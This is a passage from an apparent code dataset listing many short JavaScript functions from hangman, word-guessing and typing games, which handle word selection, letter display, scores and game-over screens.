wordInput.value.toLowerCase();\n ctx.clearRect(0, 0, 400, 400);\n movingBackground();\n wordFalls();\n score();\n lifeLine();\n if (typeWord === wordArr[randomIndex]) {\n projectile();\n }\n window.requestAnimationFrame(draw);\n }","function renderGame() {\n // If there are still more words in the array, set the display and write it to the page\n if (currentIndex <= (secretWords.length - 1)) {\n secretWord = secretWords[currentIndex];\n display = repeatChar(secretWord.length, '_');\n tries = 0;\n document.querySelector(\"#progress\").innerHTML = \"Guess the bread: \" + display;\n document.querySelector(\"#wins\").innerHTML = \"Total Wins: \" + wins;\n }\n // If the supply of breads has been exhausted, render the end game screen.\n else {\n document.querySelector(\"#progress\").innerHTML = \"Game Over!\";\n document.querySelector(\"#results\").innerHTML = \"Refresh the page to play again.\";\n document.querySelector(\"#wins\").innerHTML = \"Total Wins: \" + wins;\n }\n}","function showWord(words){\n\n //Generate randow array index\n const randIndex = Math.floor(Math.random() *words.length);\n //Output random word\n currentWord.innerHTML=words[randIndex];\n}","function game() {\n //hide words\n //$(\".fiveWords\").hide(); //removed because the letters need to show when new game starts\n \n //move words --alec\n myMove(\"1\");\n myMove(\"2\");\n myMove(\"3\");\n myMove(\"4\");\n myMove(\"5\");\n \n}","function displayEndScreen() {\n //display image\n image(imgEndScreen, 0, 0, windowWidth, windowWidth * 0.4);\n //Set text size in push-pop\n push();\n textSize(19);\n //If player hits zero kids, display this\n if (player.sentence === 0) {\n text(\"It took you only \" + player.timeSpent + \" hours and you did it \\nwithout bumping into children! \\nAmazing job, Hieronymous! Back to \\nloitering!\", 0 + windowWidth / 20, windowWidth / 5);\n //If player hits less than three kids, display this\n } else if (player.sentence < 107) {\n text(\"It took you only \" + player.timeSpent + \" hours \\nand you only added \" + player.sentence + \" days \\n to your community service!\", 0 + windowWidth / 20, windowWidth / 5);\n } else {\n //otherwise, display this message\n text(\"It took you \" + player.timeSpent + \" hours... \\n...but holy crap Hieronymous you added \" + player.sentence + \" days \\nto your community service. Embarrassing.\", 0 + windowWidth / 20, windowWidth / 5);\n }\n pop();\n\n}","function drawGame(word, letters) {\n document.querySelector('#display-status').innerHTML = displayStatus(word, letters);\n document.querySelector('#letter-slots').innerHTML = letterSlots(word, letters);\n document.querySelector('#keyboard').innerHTML = keyboard(letters);\n}","function showNewWord(){\n// document.getElementById(\"wordToType\").innerHTML=\" \";\n $(\"#wordBox\").val(\"\");\n// $(\"#wordToType\").html(words[index][0]);\n if (words.length === alreadyUsed.length){\n endGame();\n }\n console.log(\"choosing word\");\n chooseWord();\n document.getElementById(\"wordToType\").innerHTML= words[index][0];\n\n }","function startGame(){\r\n\t \r\n\t let dumDumDum = [];\r\n\t for( iii=0; iii < randomWord.length ; iii++){\t\t\t\r\n\t\t\tdumDumDum.push(\"_\");\r\n\t } \r\n\t// Change the game textcontents to starting values\r\n\tdocument.querySelector(\".the_word\").innerHTML =\"The word: \"+dumDumDum+\" \";\r\n\tdocument.querySelector(\".guesses\").innerHTML =\"Guesses: \";\r\n\tdocument.querySelector(\".guesses_left\").innerHTML =\"Wrong guesses left: \"+livesLeft+\" \"; \t \r\n }","drawSecretWord() {\n ctx.clearRect(0,canvas.height-40,canvas.width,40)\n GAME.secretWord.includes(PLAYER.guess) ? PLAYER.guessStatus = true : PLAYER.guessStatus = false\n for (let i = 0; i < GAME.secretWord.length; i++) {\n const element = GAME.secretWord[i];\n if(str_replace(from,to,element) === PLAYER.guess) {\n PLAYER.guessStatus = true\n GAME.answerArray[i] = element\n }\n let x = (canvas.width - ((GAME.secretWord.length * 24) + ((GAME.secretWord.length - 1) * 4))) + (i * (24 + 4))\n ctx.beginPath()\n ctx.font = \"32px calibri\"\n ctx.fillText(GAME.answerArray[i], x, canvas.height - 6)\n ctx.closePath()\n }\n }","function displayGameOver() {\n push();\n textAlign(CENTER,CENTER);\n textSize(60);\n fill(0,0,0);\n stroke(255,0,0);\n textFont(fontGame);\n text(\"Your artistic experience is terminated \\n sorry Warhol \\n \\n REFRESH to play again :)\",width/2,height/2);\n pop();\n}","function startGame() {\n // Randomly selecting a word from our array\n wordUsedForGame = hangManWordChoices[Math.floor(Math.random() * hangManWordChoices.length)];\n // creating a new word object with the random word\n wordConstructed = new Word(wordUsedForGame);\n // calling the renderWord function to push the letters into the word\n wordConstructed.renderWord();\n\n console.log(\"\\n\");\n console.log(\"Guess The Word. You have 7 chances to get it Right!!!\");\n console.log(\" Hint: The Words are computer Languages \\n\");\n\n // Displaying the dashes based on the word selected using the Word display function \n // they will be dashes because the guessed is set to false\n console.log(wordConstructed.display());\n console.log(\"\\n\");\n\n // calling askLetters to run the game\n askLetters();\n\n\n}","function startGame() {\n wrongGuesses = ' ';\n allGuesses = \"\";\n currentDisplay = [];\n //Randomly selects a word from the array wordList\n wordString = (wordList[Math.floor(Math.random() * wordList.length)]).toUpperCase(); \n // Put the selected word into an array\n word = wordString.split(''); \n guessRemain = wordString.length; \n for (var i = 0; i < guessRemain; i++){\n currentDisplay[i] = \"_\"; \n //displays the game\n }\n displayGame(); \n }","function startGame() {\n renderNewWord();\n startBar();\n }","function wordplay() {\n librarycall()\n play = new Word(choice);\n plays = 10\n alphaArr = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n omegaArr = []\n console.log(play.fullDisplay());\n console.log(\"Tries left = \" + plays);\n testletter()\n}","function stepWord() {\n word++;\n syllable = 0;\n process.stdout.write(\" \");\n}","function start()\n{\ndocument.getElementById(\"two\").style.marginTop=\"20%\";\n\nvar x = Math.floor((Math.random() * 25) + 1); // to display the fist word and this word will change after every 3 second...\n\ndocument.getElementById(\"two\").innerHTML =obj.spellings[x].word;\n\nsetInterval(function() {game()},4000); // changing word after every 3 se....\n}","function endLose(word) {\n console.log(\"You lose. The word was:\");\n showWord(word);\n}","function draw() {\n\n noStroke();\n fill(255);\n var extraSpace = 0;//The words have its own length , so it needs to be offset to the right \n // i MEANS THE FIRST LETTER OF THE sentence \n\n for (let i = 0; i < words.length; i++) {\n // appearing over time...\n //note that canvas Is loading 60 times per second which means if the first letter is 1 then when francount reaches and goes beyond 1*100 the first word get pirnted \n\n if (frameCount > i * 100) {\n var wordMarginLeft = 30 * i; //The distance of each word is 30 // letters got print with the distance of 30 \n \n if (i > 0) {\n extraSpace = extraSpace + words[i - 1].length * 13; //we need to add extra space in letters and it's caculated by the length of the letters\n }\n fill(255);\n text(words[i], wordMarginLeft + extraSpace, 20);\n }\n }\n \n \n}","function drawHangman() {\n}","function updateDisplay() {\n document.getElementById(\"totalWins\").innerText = wins;\n document.getElementById(\"currentWord\").innerText = \"\";\n\n for (let i = 0; i < guessingWord.length; i++) {\n document.getElementById(\"currentWord\").innerText += guessingWord[i];\n }\n document.getElementById(\"remainingGuesses\").innerText = remainingGuesses;\n document.getElementById(\"guessedLetters\").innerText = guessedLetters;\n if (remainingGuesses <= 0) {\n document.getElementById(\"gameover-image\").style.cssText = \"display: block\";\n document.getElementById(\"pressKeyTryAgain\").style.cssText =\n \"display: block\";\n hasFinished = true;\n }\n}","function gameStart() {\n resetCounters();\n generateRandomWord();\n hideTheWord(); \n document.getElementById(\"guesses\").innerHTML = guessesLeft;\n // Make variable to track letters to be guessed\n var lettersLeft = randWord.length;\n console.log(randWord);\n\n setupKeyLogging();\n \n document.getElementById(\"wins\").innerHTML = wins;\n \n \n\n\n removeHandler(); \n}","function writeWord(){\n var letterOrDash = \"\";\n var allLettersGuessed = true;\n\n for(var i=0; i `\n \n ${correctLetters.includes(letter) ? letter : '' }\n \n `\n )\n .join('')\n }\n `;\n // TO check -> console.log(word.innerText);\n // To chack -> console.log(wordText);\n const wordText = word.innerText.replace(/\\n/g, '');\n if(wordText === selectedWord) {\n message.innerText = 'You Won!';\n popup.style.display = 'flex';\n }\n}","function renderEndGameText() {\n gameBackground.zIndex = 45;\n sortZindex(gameScreen);\n longBoard.visible = true;\n endText.visible = true;\n endText.speed = END_TEXT_SPEED;\n endGameSelected = true;\n}","function displayWord() {\n wordElement.innerHTML = \n `${selectedWord\n .split('')\n .map(letter =>\n `\n ${correctLetters.includes(letter) ? letter : ''}\n `\n ).join('')}`;\n \n //console.log(wordElement.innerText);\n \n //Remove New Line Character \n const innerWord = wordElement.innerText.replace(/\\n/g, '')\n //console.log(innerWord); \n\n if (innerWord === selectedWord) {\n finalMessage.innerText = 'You Won!';\n popUp.style.display = 'flex';\n }\n}","function displayWord(array){\n word = array[Math.floor(Math.random() * array.length)];\n var display = document.getElementById(\"display\");\n display.innerText = word;\n}","function gameOver() {\n background(0);\n fill(255, 0, 0);\n textFont(myFont, 80);\n textAlign(CENTER);\n text(\"LOSER\", 400, 200);\n textSize(32);\n text(\"HAVING DRANK ALL THE WATER, OR ATTEMPTED TO SHARE IT,\", 400, 270);\n text(\"YOU HAVE DONE THE WRONG THING!\", 400, 285);\n text(\"THE DUTIFUL THING WOULD HAVE BEEN TO GIVE IT\", 400, 300);\n text(\" TO THE DYING PERSON FIRST.\", 400, 315);\n text(\"BETTER LUCK NEXT TIME.\", 400, 330);\n textSize(40);\n text(\"REFRESH THE PAGE TO PLAY AGAIN\", 400, 485);\n}","startGame() {\r\n $(\"#overlay\").hide();\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }","function showTheWord() {\n // get random word then store it in the global var theWord\n theWord = getRandomWord().split(''); // make it into array\n\n // place underscore referencing the number of letters\n for (var i = 0; i < theWord.length; i++) {\n $(\"#letterHolder\").append($(\"_\"));\n }\n }","function showGameOver() {\n gameSound.pause();\n textSize(60);\n textAlign(CENTER,CENTER);\n fill(243,231,45);\n var gameOverText = \"GAME OVER\\n\";\n gameOverText += \"You caught \" + snitchEaten + \" snitch\\n\";\n gameOverText += \"before you died.\"\n text(gameOverText,width/2,height/2);\n}","function startGame()\n{\n\t//selects random word\n\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\n\ttargetWordArray = targetWord.split(\"\");\n\t//transforms word to an array of dashes\n\tfor(i=0; i=10) {\n wordz+=\"\\n YOU WIN\";\n\n} else {\n wordz+=\"\\n YOU LOSE\";\n}\n words = wordz;\n}","function newWord(){\n var wordBank = [\"susie\", \"transmogrifier\", \"spacemanspiff\",\"gross\", \"calvinball\", \"stupendousman\", \"tracerbullet\", \"toboggan\", \"duplicator\", \"misswormwood\", \"hamsterhuey\", \"gooeykablooie\"];\n console.log(wordIndex)\n console.log(wordBank.length)\n if(wordIndex >= wordBank.length){\n //changed message board background color to blue\n document.getElementById(\"message-board\").style.backgroundColor = \"#3dbaec\"\n updateField(\"message-text\", \"Aww shucks, we're all out of words
    You got \"+wins+\" out of \"+wordBank.length+\" right!\");\n return;\n }\n currentWord=wordBank[wordIndex];\n wordDisplay.innerHTML = createDisplay(currentWord);\n //changed message board background color to blue\n document.getElementById(\"message-board\").style.backgroundColor = \"#3dbaec\"\n //upddate message board\n updateField(\"message-text\", \"Next Word!\")\n //resetting parameters\n guessedArray = [\"\"];\n updateLettersGuessedField();\n guessesLeft = 6\n updateField(\"guesses-left\",guessesLeft);\n lettersCorrect = 0;\n //reset stopGame\n stopGame = false; \n}","function wordGame(){\n\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\n \n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\n \n letters=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"Ñ\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n\n for(let i=0;i';\n document.getElementById(\"letter\" + i).innerHTML = \"_ \";\n }\n return randomWord;\n}"],"string":"[\n \"function DisplayWord() {\\n\\tvar wordToPrint : String;\\n\\tvar hWord : GameObject;\\n\\t//var offset : float;\\n\\tswitch(this.kana) {\\n\\t\\tcase \\\"a\\\":\\n\\t\\t\\twordToPrint = \\\"あ り\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase \\\"i\\\":\\n\\t\\t\\twordToPrint = \\\"い な ず ま\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase \\\"u\\\":\\n\\t\\t\\twordToPrint = \\\"う さ ぎ\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\n\\t\\tcase \\\"e\\\":\\n\\t\\t\\twordToPrint = \\\"え ん\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"o\\\":\\n\\t\\t\\twordToPrint = \\\"お す\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ka\\\":\\n\\t\\t\\twordToPrint = \\\"か た な\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ki\\\":\\n\\t\\t\\twordToPrint = \\\"き り か ぶ\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ku\\\":\\n\\t\\t\\twordToPrint = \\\"く さ り\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ke\\\":\\n\\t\\t\\twordToPrint = \\\"け る\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ko\\\":\\n\\t\\t\\twordToPrint = \\\"こ ぶ し\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tdefault:\\n\\t\\t\\t;\\n\\t\\t\\t\\t\\n\\t}\\n\\t//hWord = Instantiate(this.word, this.player.transform.position, Quaternion.identity);\\n\\t//offset = .005 * wordToPrint.Length;\\n\\thWord = Instantiate(this.word, new Vector3(0.45, 0.6, -8), Quaternion.identity);\\n\\thWord.guiText.text = wordToPrint;\\n}\",\n \"function dashes(){\\r\\n document.getElementById('word').innerHTML = '';\\r\\n for (var i = 0; i < guesses.length; i++)\\r\\n document.getElementById('word').innerHTML += guesses[i] + ' ';\\r\\n document.getElementById('start').style.visibility = \\\"hidden\\\";\\r\\n}\",\n \"function handleText() {\\n if (index < text.length) {\\n id(\\\"output\\\").innerText = \\\"\\\";\\n let curWord = text[index];\\n id(\\\"output\\\").innerText = curWord;\\n index++;\\n } else {\\n endGame();\\n }\\n }\",\n \"function showWord(word) {\\n var i;\\n for (i = 0; i < word.length; i ++) {\\n process.stdout.write(word[i]);\\n }\\n playAgain();\\n}\",\n \"function displayNextWordFor(objectName){\\n\\tvar obj = HangMan[objectName];\\n\\tHangMan.gameReady = true;\\n\\tobj.word = obj.words[Math.floor(Math.random() * obj.words.length)].toLowerCase();\\n\\tobj.lives = 10;\\n\\tobj.guesses = [];\\n\\tobj.trueg = [];\\n\\tfor ( i = 0 ; i < obj.word.length ; i++ ){obj.trueg.push('0')};\\n\\tobj.falseg = [];\\n\\tloadObject(objectName);\\n}\",\n \"function displayWord(word, words, firstRound) {\\n\\t\\tconsole.log(\\\"currWord: \\\" + word);\\n\\t\\tdocument.getElementById(\\\"currWord\\\").innerHTML = word;\\n\\t\\tvar currChar = 0;\\n\\n\\t\\tvar wordLength = word.length;\\n\\n\\t\\t$('#currWord').on('click', function() {\\n\\t\\t\\tif (firstRound) {\\n\\t\\t\\t\\t$('#typeDummy').toggleClass('highlight');\\n\\t\\t\\t}\\n\\t\\t})\\n\\n\\t\\t//when the user types a key\\n\\t\\tdocument.onkeypress = function(evt) {\\n\\t\\t\\tif (!gameOver) {\\n\\t\\t\\t\\tif (evt.keyCode == 8) {\\n\\t\\t\\t\\t \\tevt.preventDefault();\\n\\t\\t\\t\\t}\\t\\t\\n\\t\\t\\t evt = evt || window.event;\\n\\t\\t\\t var charCode = evt.which || evt.keyCode;\\n\\t\\t\\t var charTyped = String.fromCharCode(charCode);\\n\\n\\t\\t\\t if ((charCode == 39) || (charCode <= 122 && charCode >= 97)) {\\n\\t\\t\\t\\t if (charCode == word.charCodeAt(currChar)) {\\n\\t\\t\\t\\t \\tcurrChar++;\\n\\t\\t\\t\\t \\tdocument.getElementById(\\\"currWord\\\").innerHTML = \\\"\\\"\\n\\t\\t\\t\\t \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t + word.substring(0,currChar) + \\\"\\\"\\n\\t\\t\\t\\t \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t + word.substring(currChar, wordLength);\\n\\t\\t\\t\\t } else {\\n\\t\\t\\t\\t \\tmistakeCount++;\\n\\t\\t\\t\\t \\tif (mistakeCount < 8) {\\n\\t\\t\\t\\t\\t \\t$(\\\"#misses\\\").html( $(\\\"#misses\\\").html() + \\\"X\\\" );\\n\\t\\t\\t\\t \\t} else {\\n\\t\\t\\t\\t \\t\\t$(\\\"#misses\\\").html(mistakeCount);\\n\\t\\t\\t\\t \\t}\\n\\t\\t\\t\\t }\\n\\t\\t \\t}\\n\\n\\t\\t \\t//once the user has fully typed the word\\n\\t\\t\\t if (currChar == wordLength) {\\n\\t\\t\\t \\tif (firstRound) {\\n\\t\\t\\t \\t\\tstartGame();\\n\\t\\t\\t \\t} else {\\n\\t\\t\\t \\t\\twordCount++;\\n\\t\\t\\t \\t\\trando = words[Math.floor(Math.random() * words.length)];\\n\\t\\t\\t \\t\\tdisplayWord(rando, words, false);\\n\\t\\t\\t \\t}\\n\\t\\t\\t }\\n\\t\\t }\\n\\t\\t};\\n\\t}\",\n \"function final(any) {\\n element.wordGuess.textContent = string[any]; // will show win or lose string property\\n sound[any].play(); //will play win or lose sound\\n score[any]++; //will increment win or lose score\\n update(); \\n setTimeout(function () { //timer so that you can enjoy the music and strings\\n reset();\\n }, 2000);\\n }\",\n \"function displayWord(myword, desc){\\r\\n let display = \\\"\\\";\\r\\n for(let i = 0; i < myword.length; i++){\\r\\n if(i != myword.length - 1){\\r\\n display += myword.charAt(i) + \\\" \\\";\\r\\n } else {\\r\\n display += myword.charAt(i);\\r\\n }\\r\\n }\\r\\n document.getElementById(\\\"display\\\").innerHTML = display;\\r\\n document.getElementById(\\\"desc\\\").innerHTML = desc;\\r\\n}\",\n \"function Display(){\\n document.getElementById(\\\"wins\\\").textContent = countWins;\\n document.getElementById(\\\"dispWord\\\").textContent = dispWord;\\n document.getElementById(\\\"guessesLeft\\\").textContent = 12 - countGuesses;\\n document.getElementById(\\\"lettersGuessed\\\").textContent = lettersGuessed;\\n console.log(\\\"Random word is: \\\" + guessWord);\\n}\",\n \"function endWord() {\\n var stringDisplay = \\\"\\\"\\n globalList.forEach(function(item){\\n stringDisplay += item\\n document.querySelector(\\\"#applyGuess\\\").innerHTML = stringDisplay.toUpperCase()\\n document.querySelector(\\\"#endWord\\\").innerHTML = \\\"Word Was:\\\"\\n })\\n}\",\n \"function reveal(guess) {\\n for (var z = 0; z < word.length; z++) {\\n if (word[z] == guess) {\\n context.fillText(word[z], (100 + (z * 20)), 490);\\n lettersRemaining--;\\n console.log(\\\"reveal: \\\" + lettersRemaining);\\n }\\n }\\n }\",\n \"function showWord(words)\\r\\n{\\r\\n\\t//generate random array index\\r\\n\\tconst randIndex=Math.floor(Math.random() * words.length);\\r\\n\\t//output random word\\r\\n\\tcurrentWord.innerHTML=words[randIndex];\\r\\n}\",\n \"function showword(words){\\n const randindex = Math.floor(Math.random() * words.length);\\n\\n //output random word\\n currentword.innerHTML = words[randindex];\\n}\",\n \"function displayLetter(myword, letter, word){ // by jaguar\\r\\n let display = \\\"\\\";\\r\\n let mywordarr = myword.split(\\\"\\\")\\r\\n for(let i = 0; i < myword.length; i++){\\r\\n if(i != myword.length){\\r\\n if(letter === word.charAt(i)){\\r\\n display = display + letter + \\\" \\\";\\r\\n mywordarr[i] = letter\\r\\n } else {\\r\\n display += myword.charAt(i) + \\\" \\\";\\r\\n }\\r\\n } else {\\r\\n display += myword.charAt(i);\\r\\n }\\r\\n }\\r\\n displayed = mywordarr.join(\\\"\\\")\\r\\n document.getElementById(\\\"display\\\").innerHTML = display;\\r\\n checkWincondition(display, word)\\r\\n}\",\n \"function updateDisplay(wordArray, midGame) {\\n // let wordJoin = wordArray.join(\\\" \\\");\\n document.getElementById(\\\"guess-word\\\").innerHTML = wordArray.join(\\\" \\\");\\n if (midGame !== undefined) {\\n document.getElementById(\\\"letters-guessed\\\").innerHTML = \\\"Letters guessed: \\\" + midGame.join(\\\", \\\");\\n document.getElementById(\\\"guess-remain\\\").innerHTML = \\\"Guesses left: \\\" + parseInt(numGuesses - midGame.length);\\n document.getElementById(\\\"hangman-graphic\\\").innerHTML = hangdood[midGame.length];\\n }\\n else {\\n document.getElementById(\\\"letters-guessed\\\").innerHTML = \\\"Letters guessed: \\\";\\n document.getElementById(\\\"guess-remain\\\").innerHTML = \\\"Guesses left: \\\" + numGuesses;\\n }\\n }\",\n \"function renderNewWord() {\\n\\n // random word generator\\n var random = Math.floor(Math.random() * wordLength.length);\\n\\n // get a random word and clear the string display\\n let word = wordLength[random];\\n wordDisplayString.innerHTML = \\\"\\\";\\n\\n // for each character in the word array create a 1 char span\\n word.split(\\\"\\\").forEach(character => {\\n const characterSpan = document.createElement(\\\"span\\\");\\n characterSpan.innerText = character;\\n wordDisplayString.appendChild(characterSpan);\\n })\\n\\n // set input to null and focus it\\n wordInput.value = null;\\n wordInput.focus();\\n }\",\n \"function showWord(words) {\\r\\n const randIndex = Math.floor(Math.random() * words.length);\\r\\n currentWord.innerHTML = words[randIndex];\\r\\n }\",\n \"displayWordInfo() {\\r\\n this.displayHangman();\\r\\n this.displayLives();\\r\\n this.displayLetters();\\r\\n this.displayLettersToGuess();\\r\\n }\",\n \"function showWord(words) {\\n const randIndex = Math.floor(Math.random() * words.length);\\n currentWord.innerHTML = words[randIndex];\\n}\",\n \"function displayNextLevel() {\\r\\n getWord(level);\\r\\n encryptGameWord();\\r\\n writeEncryptedWord();\\r\\n writeGameInfo();\\r\\n toggleGameElements();\\r\\n startTimer(80);\\r\\n $(\\\"#user-word\\\").focus();\\r\\n }\",\n \"function renderGame() {\\n // Set a random word\\n randomNumber = Math.floor(Math.random() * 21); \\n currentWord = wordArray[randomNumber][0];\\n console.log(\\\"currentWord\\\", currentWord);\\n\\n if (currentWord.length < 8) {\\n guessesLeft = currentWord.length + 3;\\n // console.log(\\\"guessesLeft\\\", guessesLeft);\\n } else {\\n guessesLeft = 8;\\n }\\n\\n lettersGuessed = [];\\n // console.log(\\\"lettersGuessed\\\", lettersGuessed);\\n dashArr = [];\\n\\n\\n\\n\\n splitArr = currentWord.toLowerCase().split('');\\n // console.log(\\\"splitArr\\\", splitArr);\\n\\n // Check the length of word and render dashes\\n // Check for spaces\\n splitArr.map(index => {\\n if (index === \\\" \\\") {\\n dashArr.push(' ');\\n }\\n\\n else {\\n dashArr.push('-');\\n }\\n })\\n\\n // console.log(\\\"dashArr\\\", dashArr);\\n\\n displayWord = dashArr.join('');\\n\\n // console.log(\\\"displayWord\\\", displayWord);\\n\\n document.querySelector(\\\"#display-word\\\").innerHTML = displayWord.toUpperCase();\\n document.querySelector(\\\"#display-wins\\\").innerHTML = wins;\\n document.querySelector(\\\"#display-losses\\\").innerHTML = losses;\\n document.querySelector(\\\"#display-guesses-left\\\").innerHTML = guessesLeft;\\n document.querySelector(\\\"#display-image\\\").src = \\\"./assets/images/finnandjake.png\\\";\\n document.querySelector(\\\"#display-letters-guessed\\\").innerHTML = lettersGuessed;\\n document.querySelector(\\\"#instructions\\\").innerHTML = \\\"Guess A Letter To Get Started!\\\" ;\\n\\n\\n\\n}\",\n \"function endWin(word) {\\n console.log(\\\"You win. The word was:\\\");\\n showWord(word);\\n}\",\n \"function hangman(){\\n var x = word.length;\\n var y = x-1;\\n var spaces = 0;\\n while (x>0){\\n numChar++;\\n var letter = word.substring(y,x);\\n if(letter === \\\" \\\"){\\n document.getElementById('letter'+x).innerHTML = \\\"&nbsp;\\\";\\n document.getElementById('letter'+x).style.visibility = \\\"hidden\\\";\\n document.getElementById('letter'+x).style.display = \\\"block\\\";\\n document.getElementById('underline'+x).style.display = \\\"block\\\";\\n spaces++;\\n }\\n else{\\n document.getElementById('letter'+x).innerHTML = letter;\\n document.getElementById('letter'+x).style.visibility = \\\"hidden\\\";\\n document.getElementById('underline'+x).style.display = \\\"block\\\"; \\n document.getElementById('underline'+x).style.borderBottom = \\\"3px solid white\\\";\\n }\\n x--;\\n y--;\\n }\\n wordLength = word.length - spaces;\\n document.getElementById('gamePage').style.display = \\\"block\\\";\\n\\n}\",\n \"function drawboard(location, word) {\\n for (var i = 0; i < word.length; i++) {\\n context.fillText('_ ', (location[0] + i * 20), location[1]);\\n }\\n }\",\n \"function showText() {\\n $(\\\"#textDisplay\\\").empty();\\n $(\\\"#instructions\\\").empty();\\n randomWords = [];\\n for (var i = 0; i < wordCount; i++) {\\n var ranWord = wordList[Math.floor(Math.random() * wordList.length)];\\n if (wordList[wordList.length - 1] !== ranWord || wordList[wordList.length - 1] === undefined) {\\n randomWords.push(ranWord);\\n }\\n }\\n randomWords.forEach(function(word){\\n $(\\\"#textDisplay\\\").append($(\\\"\\\",{\\\"text\\\": word + \\\" \\\",\\\"class\\\":\\\"word\\\"}));\\n });\\n textDisplay.firstChild.classList.add(\\\"highlightedWord\\\")\\n }\",\n \"function showWord(words) {\\n // Generate random array index\\n const randIndex = Math.floor(Math.random() * words.length);\\n // Output the random word\\n currentWord.innerHTML = words[randIndex];\\n}\",\n \"function currentWordDisplay() {\\n var activeCharacterDisplay = document.querySelector(\\\"#activeCharacterDisplay\\\");\\n activeCharacterDisplay.textContent = answerArray.join(\\\" \\\");\\n}\",\n \"function showWord(words){\\r\\n// generate random array index//\\r\\nconst randIndex =math.floor(math.random() * words.length);\\r\\n// output random words//\\r\\ncurrentWord.innerHTML = words[randIndex];\\r\\n}\",\n \"function right() {\\r\\n //if guess is correct\\r\\n //keep checking if to see if there is another space for the same letter\\r\\n for (var j = 0; j < underScore.length; j++) {\\r\\n if (word[j] === guess) {\\r\\n underScore[j] = guess;\\r\\n var blank = \\\"

    \\\" + underScore.join(\\\" \\\") + \\\"

    \\\";\\r\\n document.getElementById(\\\"blank\\\").innerHTML = blank;\\r\\n }\\r\\n //hide and show you win div\\r\\n if (underScore.join(\\\"\\\") === word) {\\r\\n winMessage.show();\\r\\n direct.hide();\\r\\n }\\r\\n }\\r\\n}\",\n \"function displayLetters(guess){\\n\\t\\tfor (var i=0;i {currentWord.innerHTML = words[0][randIndex]}, 200)\\r\\n}\",\n \"function updateDisplay() {\\n document.getElementById(\\\"counterWins\\\").innerText = wins;\\n var guessingWordText = \\\"\\\";\\n for (var i = 0; i < guessingWord.length; i++) {\\n guessingWordText += guessingWord[i];\\n }\\n document.getElementById(\\\"currentWord\\\").innerText = guessingWordText;\\n document.getElementById(\\\"counterLives\\\").innerText = remainingGuesses;\\n document.getElementById(\\\"counterGuessed\\\").innerText = guessedLetters;\\n}\",\n \"function lose() {\\n gameEnd.css('display', 'block');\\n endParagraph.html(`Being eaten alive by the bugs probably hurt. You gathered ${points} ${points == 1 ? 'point' : 'points'} before that happened.`);\\n}\",\n \"function underline(){\\r\\n\\r\\n underscore = [];\\r\\n for(let i=0;i 0) {\\n wins++;\\n var showWins = document.getElementById(\\\"wins\\\");\\n showWins.innerHTML = wins;\\n }\\n }\\n}\",\n \"function updateDisplay() {\\n\\n document.getElementById(\\\"totalWins\\\").innerText = wins;\\n document.getElementById(\\\"totalLosses\\\").innerText = losses;\\n\\n // Display how much of the word we've already guessed on screen.\\n var guessWordText = \\\"\\\";\\n for (var i = 0; i < guessWord.length; i++) {\\n guessWordText += guessWord[i];\\n }\\n\\n //\\n document.getElementById(\\\"currentWord\\\").innerText = guessWordText;\\n document.getElementById(\\\"lifePoints\\\").innerText = lifePoints;\\n document.getElementById(\\\"guessedLetters\\\").innerText = guessedLetters;\\n}\",\n \"displayLetters() {\\r\\n let wordHidden = \\\"\\\\n\\\";\\r\\n for (let i = 0; i < this.text.length; i++) {\\r\\n if (this.lettersToGuess.includes(this.text.charAt(i))) {\\r\\n wordHidden += HangmanUtils.symbol;\\r\\n }\\r\\n else {\\r\\n wordHidden += this.text.charAt(i);\\r\\n }\\r\\n wordHidden += \\\" \\\";\\r\\n }\\r\\n console.log(wordHidden);\\r\\n }\",\n \"function displayGame() {\\n getAnimal();\\n animalType.innerHTML = gameAnimalType;\\n animalToGuess.innerHTML = handleGameWord(gameAnimalExample);\\n document.getElementById(\\\"guess\\\").focus();\\n document.getElementById(\\\"guess\\\").select();\\n wordWrapper.classList.remove(\\\"vis-hidden\\\");\\n }\",\n \"function newGame() {\\n gameStart = true\\n clearOut();\\n ransomdomize();\\n createSpan();\\n \\n 